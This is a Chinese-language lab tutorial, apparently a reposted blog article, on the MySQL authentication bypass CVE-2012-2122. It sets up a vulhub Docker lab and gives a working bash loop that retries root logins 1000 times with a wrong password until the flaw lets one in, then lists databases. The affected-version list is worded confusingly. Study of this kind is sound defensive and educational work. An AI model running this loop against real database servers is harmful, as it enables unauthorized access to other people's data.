当前位置:   article > 正文

数据库安全:MySQL 身份认证漏洞(CVE-2012-2122)

cve-2012-2122

数据库安全:MySQL 身份认证漏洞(CVE-2012-2122)

MySQL 身份认证漏洞是一个身份认证绕过漏洞,该漏洞的核心原理涉及到 MySQL 在处理身份认证时的一个安全缺陷,这个漏洞可以使攻击者可以绕过安全身份认证,从而达到未经授权的方式进行访问 MySQL 数据库。


目录:

数据库安全:MySQL 身份认证漏洞(CVE-2012-2122)

漏洞测试的思路方向(3306端口):

漏洞的危害:

漏洞影响的版本:

MySQL 身份认证漏洞(CVE-2012-2122)

开启 vulhub 靶场环境

MySQL 身份认证漏洞测试:


漏洞测试的思路方向(3306端口):


漏洞的危害:

攻击者只需要知道用户名,就可以不断去尝试密码就能直接进入SQL数据库.


漏洞影响的版本:

  1. MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  2. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

MySQL 身份认证漏洞(CVE-2012-2122)

开启 vulhub 靶场环境

第一步:切换到 vulhub 目录下

cd vulhub


第二步:切换到 mysql 目录下

cd mysql


第三步:切换到 CVE-2012-2122 漏洞目录下.

cd CVE-2012-2122


第四步:开启 漏洞 服务.

docker-compose up -d 


    

MySQL 身份认证漏洞测试:

方法:直接 运行 这个命令.

  1. for i in `seq 1 1000`;do mysql -uroot -p123456 -h 192.168.0.104 -P3306;done
  2. for i in `seq 1 1000`;do mysql -u(账号不用正确) -p(密码不用正确) -h(MySQLIP地址) -P3306;done
  3. //这个命令的意思就是:for语句调用终端去连接MySQL,如果存在这个漏洞,他就会不断的去尝试进入 MySQL 数据库中


show databases;     //显示数据库列表


select version();        //显示数据库版本.


   

   

   

课程学习:第55天:服务攻防-数据库安全_Redis_Hadoop_Mysql_未授权访问_RCE_哔哩哔哩_bilibili

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号